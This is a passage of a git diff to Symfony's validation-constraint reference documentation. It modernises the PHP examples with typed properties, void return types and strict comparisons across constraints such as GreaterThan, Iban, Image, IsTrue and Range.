+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioFile', new Assert\File([
                     'maxSize' => '1024k',
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 3695486491c..4f2e34bcbfa 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -32,12 +32,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\GreaterThan(5)]
-            protected $siblings;
+            protected int $siblings;
 
             #[Assert\GreaterThan(
                 value: 18,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -83,7 +83,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\GreaterThan(5));
 
@@ -112,7 +114,7 @@ that a date must at least be the next day:
         class Order
         {
             #[Assert\GreaterThan('today')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -148,7 +150,9 @@ that a date must at least be the next day:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('today'));
             }
@@ -169,7 +173,7 @@ dates. If you want to fix the timezone, append it to the date string:
         class Order
         {
             #[Assert\GreaterThan('today UTC')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -205,7 +209,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('today UTC'));
             }
@@ -227,7 +233,7 @@ current time:
         class Order
         {
             #[Assert\GreaterThan('+5 hours')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -263,7 +269,9 @@ current time:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('+5 hours'));
             }
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 0adb729eae7..e5a71e5f788 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -31,12 +31,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\GreaterThanOrEqual(5)]
-            protected $siblings;
+            protected int $siblings;
 
             #[Assert\GreaterThanOrEqual(
                 value: 18,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -82,7 +82,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\GreaterThanOrEqual(5));
 
@@ -111,7 +113,7 @@ that a date must at least be the current day:
         class Order
         {
             #[Assert\GreaterThanOrEqual('today')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -147,7 +149,9 @@ that a date must at least be the current day:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('today'));
             }
@@ -168,7 +172,7 @@ dates. If you want to fix the timezone, append it to the date string:
         class Order
         {
             #[Assert\GreaterThanOrEqual('today UTC')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -204,7 +208,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('today UTC'));
             }
@@ -226,7 +232,7 @@ current time:
         class Order
         {
             #[Assert\GreaterThanOrEqual('+5 hours')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -262,7 +268,9 @@ current time:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('+5 hours'));
             }
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index eea851b144f..95b10d1736e 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -29,7 +29,7 @@ will contain a host name.
         class ServerSettings
         {
             #[Assert\Hostname(message: 'The server name must be a valid hostname.')]
-            protected $name;
+            protected string $name;
         }
 
     .. code-block:: yaml
@@ -68,7 +68,9 @@ will contain a host name.
 
         class ServerSettings
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new Assert\Hostname([
                     'message' => 'The server name must be a valid hostname.',
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index d7f5b7c4140..3cf800200e2 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -32,7 +32,7 @@ will contain an International Bank Account Number.
             #[Assert\Iban(
                 message: 'This is not a valid International Bank Account Number (IBAN).',
             )]
-            protected $bankAccountNumber;
+            protected string $bankAccountNumber;
         }
 
     .. code-block:: yaml
@@ -73,9 +73,9 @@ will contain an International Bank Account Number.
 
         class Transaction
         {
-            protected $bankAccountNumber;
+            // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban([
                     'message' => 'This is not a valid International Bank Account Number (IBAN).',
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 1b3c9a357e9..507493b63d4 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -37,12 +37,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\IdenticalTo('Mary')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\IdenticalTo(
                 value: 20,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -88,7 +88,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\IdenticalTo('Mary'));
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index eff1ec8c4c4..22a7bc1a688 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -33,14 +33,14 @@ would be a ``file`` type. The ``Author`` class might look as follows::
 
     class Author
     {
-        protected $headshot;
+        protected File $headshot;
 
-        public function setHeadshot(File $file = null)
+        public function setHeadshot(File $file = null): void
         {
             $this->headshot = $file;
         }
 
-        public function getHeadshot()
+        public function getHeadshot(): File
         {
             return $this->headshot;
         }
@@ -56,6 +56,7 @@ that it is between a certain size, add the following:
         // src/Entity/Author.php
         namespace App\Entity;
 
+        use Symfony\Component\HttpFoundation\File\File;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
@@ -66,7 +67,7 @@ that it is between a certain size, add the following:
                 minHeight: 200,
                 maxHeight: 400,
             )]
-            protected $headshot;
+            protected File $headshot;
         }
 
     .. code-block:: yaml
@@ -111,7 +112,9 @@ that it is between a certain size, add the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('headshot', new Assert\Image([
                     'minWidth' => 200,
@@ -136,6 +139,7 @@ following code:
         // src/Entity/Author.php
         namespace App\Entity;
 
+        use Symfony\Component\HttpFoundation\File\File;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
@@ -144,7 +148,7 @@ following code:
                 allowLandscape: false,
                 allowPortrait: false,
             )]
-            protected $headshot;
+            protected File $headshot;
         }
 
     .. code-block:: yaml
@@ -179,7 +183,9 @@ following code:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('headshot', new Assert\Image([
                     'allowLandscape' => false,
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index c3719800d1e..2f05f677601 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -26,7 +26,7 @@ Basic Usage
         class Author
         {
             #[Assert\Ip]
-            protected $ipAddress;
+            protected string $ipAddress;
         }
 
     .. code-block:: yaml
@@ -62,7 +62,9 @@ Basic Usage
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('ipAddress', new Assert\Ip());
             }
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 05a1cd1c401..0b9ebe77491 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -21,11 +21,11 @@ but is most commonly useful in the latter case. For example, suppose that
 you want to guarantee that some ``state`` property is *not* in a dynamic
 ``invalidStates`` array. First, you'd create a "getter" method::
 
-    protected $state;
+    protected string $state;
 
-    protected $invalidStates = [];
+    protected array $invalidStates = [];
 
-    public function isStateInvalid()
+    public function isStateInvalid(): bool
     {
         return in_array($this->state, $this->invalidStates);
     }
@@ -47,7 +47,7 @@ method returns **false**:
             #[Assert\IsFalse(
                 message: "You've entered an invalid state."
             )]
-            public function isStateInvalid()
+            public function isStateInvalid(): bool
             {
                 // ...
             }
@@ -89,14 +89,16 @@ method returns **false**:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([
                     'message' => "You've entered an invalid state.",
                 ]));
             }
 
-            public function isStateInvalid()
+            public function isStateInvalid(): bool
             {
                 // ...
             }
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 107ac662870..0f9726110ba 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -31,7 +31,7 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
         class Author
         {
             #[Assert\IsNull]
-            protected $firstName;
+            protected ?string $firstName = null;
         }
 
     .. code-block:: yaml
@@ -67,7 +67,9 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', Assert\IsNull());
             }
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index f1700f599d1..678371f6e69 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -25,11 +25,11 @@ you have the following method::
 
     class Author
     {
-        protected $token;
+        protected string $token;
 
-        public function isTokenValid()
+        public function isTokenValid(): bool
         {
-            return $this->token == $this->generateToken();
+            return $this->token === $this->generateToken();
         }
     }
 
@@ -46,13 +46,15 @@ Then you can validate this method with ``IsTrue`` as follows:
 
         class Author
         {
-            protected $token;
+            protected string $token;
 
             #[Assert\IsTrue(message: 'The token is invalid.')]
-            public function isTokenValid()
+            public function isTokenValid(): bool
             {
-                return $this->token == $this->generateToken();
+                return $this->token === $this->generateToken();
             }
+
+            // ...
         }
 
     .. code-block:: yaml
@@ -91,17 +93,21 @@ Then you can validate this method with ``IsTrue`` as follows:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addGetterConstraint('tokenValid', new IsTrue([
                     'message' => 'The token is invalid.',
                 ]));
             }
 
-            public function isTokenValid()
+            public function isTokenValid(): bool
             {
-                return $this->token == $this->generateToken();
+                return $this->token === $this->generateToken();
             }
+
+            // ...
         }
 
 If the ``isTokenValid()`` returns false, the validation will fail.
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 0152abdde55..954bff233d5 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -31,7 +31,7 @@ on an object that will contain an ISBN.
                 type: Assert\Isbn::ISBN_10,
                 message: 'This value is not valid.',
             )]
-            protected $isbn;
+            protected string $isbn;
         }
 
     .. code-block:: yaml
@@ -72,7 +72,9 @@ on an object that will contain an ISBN.
 
         class Book
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('isbn', new Assert\Isbn([
                     'type' => Assert\Isbn::ISBN_10,
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index 8f06a003f0f..d611cf60898 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -25,7 +25,7 @@ Basic Usage
         class UnitAccount
         {
             #[Assert\Isin]
-            protected $isin;
+            protected string $isin;
         }
 
     .. code-block:: yaml
@@ -61,7 +61,9 @@ Basic Usage
 
         class UnitAccount
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('isin', new Assert\Isin());
             }
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 6e934dcdc2f..fa2fbae5bf5 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -25,7 +25,7 @@ Basic Usage
         class Journal
         {
             #[Assert\Issn]
-            protected $issn;
+            protected string $issn;
         }
 
     .. code-block:: yaml
@@ -61,7 +61,9 @@ Basic Usage
 
         class Journal
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('issn', new Assert\Issn());
             }
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 6b52d2ef6ae..e3752c4d47f 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -25,7 +25,7 @@ Basic Usage
         class User
         {
             #[Assert\Language]
-            protected $preferredLanguage;
+            protected string $preferredLanguage;
         }
 
     .. code-block:: yaml
@@ -61,7 +61,9 @@ Basic Usage
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('preferredLanguage', new Assert\Language());
             }
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 89e8b02547d..b653d2bea23 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -32,7 +32,7 @@ and ``50``, you might add the following:
                 minMessage: 'Your first name must be at least {{ limit }} characters long',
                 maxMessage: 'Your first name cannot be longer than {{ limit }} characters',
             )]
-            protected $firstName;
+            protected string $firstName;
         }
 
 
@@ -82,7 +82,9 @@ and ``50``, you might add the following:
 
         class Participant
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\Length([
                     'min' => 2,
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 913624e46d8..964bfbb3527 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -32,12 +32,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\LessThan(5)]
-            protected $siblings;
+            protected int $siblings;
 
             #[Assert\LessThan(
                 value: 80,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -83,7 +83,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\LessThan(5));
 
@@ -112,7 +114,7 @@ that a date must be in the past like this:
         class Person
         {
             #[Assert\LessThan('today')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -148,7 +150,9 @@ that a date must be in the past like this:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThan('today'));
             }
@@ -169,7 +173,7 @@ dates. If you want to fix the timezone, append it to the date string:
         class Person
         {
             #[Assert\LessThan('today UTC')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -205,7 +209,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('age', new Assert\LessThan('today UTC'));
             }
@@ -226,7 +232,7 @@ can check that a person must be at least 18 years old like this:
         class Person
         {
             #[Assert\LessThan('-18 years')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -262,7 +268,9 @@ can check that a person must be at least 18 years old like this:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThan('-18 years'));
             }
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 91f5e50b6f4..9420c3e4376 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -31,12 +31,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\LessThanOrEqual(5)]
-            protected $siblings;
+            protected int $siblings;
 
             #[Assert\LessThanOrEqual(
                 value: 80,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -82,7 +82,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\LessThanOrEqual(5));
 
@@ -111,7 +113,7 @@ that a date must be today or in the past like this:
         class Person
         {
             #[Assert\LessThanOrEqual('today')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -147,7 +149,9 @@ that a date must be today or in the past like this:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('today'));
             }
@@ -168,7 +172,7 @@ dates. If you want to fix the timezone, append it to the date string:
         class Person
         {
             #[Assert\LessThanOrEqual('today UTC')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -204,7 +208,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('today UTC'));
             }
@@ -225,7 +231,7 @@ can check that a person must be at least 18 years old like this:
         class Person
         {
             #[Assert\LessThanOrEqual('-18 years')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -261,7 +267,9 @@ can check that a person must be at least 18 years old like this:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('-18 years'));
             }
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index f1c5b91627d..49edd473d05 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -35,7 +35,7 @@ Basic Usage
             #[Assert\Locale(
                 canonicalize: true,
             )]
-            protected $locale;
+            protected string $locale;
         }
 
     .. code-block:: yaml
@@ -74,7 +74,9 @@ Basic Usage
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('locale', new Assert\Locale([
                     'canonicalize' => true,
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index f89064030a6..8f5ef34c4ba 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -29,7 +29,7 @@ will contain a credit card number.
         class Transaction
         {
             #[Assert\Luhn(message: 'Please check your credit card number.')]
-            protected $cardNumber;
+            protected string $cardNumber;
         }
 
     .. code-block:: yaml
@@ -68,7 +68,9 @@ will contain a credit card number.
 
         class Transaction
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('cardNumber', new Assert\Luhn([
                     'message' => 'Please check your credit card number',
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 388a13fb222..493ffa72beb 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -29,7 +29,7 @@ The following constraint ensures that the ``withdraw`` of a  bank account
         class TransferItem
         {
             #[Assert\Negative]
-            protected $withdraw;
+            protected int $withdraw;
         }
 
     .. code-block:: yaml
@@ -65,7 +65,9 @@ The following constraint ensures that the ``withdraw`` of a  bank account
 
         class TransferItem
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('withdraw', new Assert\Negative());
             }
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index be6f3bc7566..a6a61862b99 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -28,7 +28,7 @@ is a negative number or equal to zero:
         class UnderGroundGarage
         {
             #[Assert\NegativeOrZero]
-            protected $level;
+            protected int $level;
         }
 
     .. code-block:: yaml
@@ -64,7 +64,9 @@ is a negative number or equal to zero:
 
         class UnderGroundGarage
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('level', new Assert\NegativeOrZero());
             }
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 6cf4770f21f..388206e34bd 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -30,7 +30,7 @@ class were not blank, you could do the following:
         class Author
         {
             #[Assert\NotBlank]
-            protected $firstName;
+            protected string $firstName;
         }
 
     .. code-block:: yaml
@@ -66,7 +66,9 @@ class were not blank, you could do the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
             }
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index 0e4bf194e68..6641f9d8cb2 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -28,7 +28,7 @@ The following constraint ensures that the ``rawPassword`` property of the
         class User
         {
             #[Assert\NotCompromisedPassword]
-            protected $rawPassword;
+            protected string $rawPassword;
         }
 
     .. code-block:: yaml
@@ -64,7 +64,9 @@ The following constraint ensures that the ``rawPassword`` property of the
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('rawPassword', new Assert\NotCompromisedPassword());
             }
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index e957971ade0..37b03c35907 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -36,12 +36,12 @@ the following:
         class Person
         {
             #[Assert\NotEqualTo('Mary')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\NotEqualTo(
                 value: 15,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -87,7 +87,9 @@ the following:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotEqualTo('Mary'));
 
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index c95a791a7bb..ba28fdb7c45 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -37,12 +37,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\NotIdenticalTo('Mary')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\NotIdenticalTo(
                 value: 15,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -88,7 +88,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo('Mary'));
 
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index ff0f8eaf27a..f1a27bd6560 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -29,7 +29,7 @@ class were not strictly equal to ``null``, you would:
         class Author
         {
             #[Assert\NotNull]
-            protected $firstName;
+            protected string $firstName;
         }
 
     .. code-block:: yaml
@@ -65,7 +65,9 @@ class were not strictly equal to ``null``, you would:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotNull());
             }
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index 523a03be65c..d2e6adc30d7 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -29,7 +29,7 @@ positive number (greater than zero):
         class Employee
         {
             #[Assert\Positive]
-            protected $income;
+            protected int $income;
         }
 
     .. code-block:: yaml
@@ -66,7 +66,9 @@ positive number (greater than zero):
 
         class Employee
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('income', new Assert\Positive());
             }
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index 7596bdf3e50..4aa8420993c 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -28,7 +28,7 @@ is positive or zero:
         class Person
         {
             #[Assert\PositiveOrZero]
-            protected $siblings;
+            protected int $siblings;
         }
 
     .. code-block:: yaml
@@ -64,7 +64,9 @@ is positive or zero:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\PositiveOrZero());
             }
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 4846c01fd2c..edd199c48b9 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -31,7 +31,7 @@ you might add the following:
                 max: 180,
                 notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
             )]
-            protected $height;
+            protected int $height;
         }
 
     .. code-block:: yaml
@@ -74,7 +74,9 @@ you might add the following:
 
         class Participant
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('height', new Assert\Range([
                     'min' => 120,
